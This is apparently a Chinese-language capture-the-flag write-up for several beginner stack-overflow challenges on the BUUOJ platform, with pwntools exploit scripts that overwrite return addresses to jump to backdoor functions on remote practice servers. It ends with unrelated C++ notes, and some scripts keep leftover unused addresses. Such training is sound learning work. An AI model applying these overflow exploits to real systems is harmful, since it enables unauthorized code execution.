一、rip
进入ida,F12,找后门函数的位置:0X401186
然后就是找栈溢出:
ps:32位程序中ebp为4个字节,64位中ebp为8个字节
发现有危险函数gets:
溢出的字符长度是F+8 = 23
1 2 3 4 5 6 7
| char s;
puts("please input"); gets(&s, argv); puts(&s); puts("ok,bye!!!"); return 0;
|
exp:
1 2 3 4 5 6
| from pwn import * p = remote('node4.buuoj.cn',26593) sys_addr= 0x40118A//后门函数命令 payload= b'a'*(0xF+8) + p64(sys_addr) p.sendline(payload) p.interactive()
|
exp:
1 2 3 4 5 6 7
| from pwn import * p = remote('node4.buuoj.cn',26593) sys_addr= 0x401186//后门函数所在的函数的地址 rt_addr= 0x401185//return地址 payload= b'a'*(0xF+8) + p64(rt_addr) + p64(sys_addr) p.sendline(payload) p.interactive()
|
二、warmup_csaw_2016
老样子,找后门函数,找了个cat命令
然后看溢出点:
是40+8
exp:
1 2 3 4 5 6
| from pwn import * p = remote('node4.buuoj.cn',29407) sys_addr= 0x400611 payload= b'a'*(0x40+8) + p64(sys_addr) p.sendline(payload) p.interactive()
|
三、ciscn_2019_n_1
先找关键代码,再看溢出:
exp:
1 2 3 4 5 6
| from pwn import * p = remote('node4.buuoj.cn',27561) sys_addr= 0x4006BE payload= b'a'*(0x30+8) + p64(sys_addr) p.sendline(payload) p.interactive()
|
exp:
1 2 3 4 5 6
| from pwn import * p = remote('node4.buuoj.cn',27561) sys_addr= 0x4006BE payload= b'a'*(0x30-4) + p32(0x41348000) p.sendline(payload) p.interactive()
|
四、pwn1_sctf_2016
这次是32位的了,但是有个NX保护
NX保护就是CPU不会执行放在内存段中的代码,也就是我们之前在BOF中学习的像内存中写入Shell的方法,在开启NX后是不可行的
核心代码的意思是:将l转为you三个字节
fgets函数限制我们输入32的字节,但是溢出需要3C(60)字节,所以输入20个l即可,然后又是32位程序,再覆盖4个字节旧ebp,所以是21(0x15)+1.
1 2 3 4 5 6 7 8 9 10
| from pwn import * p = remote('node4.buuoj.cn',27948) sys_addr= 0x8048F0D rt_addr= 0x401185 rt_addr1=0x400794 rt_addr2=0x40120C rt_addr3=0x4011FC payload= b'I'*(0x15) + b'a' + p32(sys_addr) p.sendline(payload) p.interactive()
|
string& operator= (const string& str); 字符串赋值 为字符串分配一个新值,替换其当前内容。
std::allocator::allocator:分配内存;汉译allocato>>分配器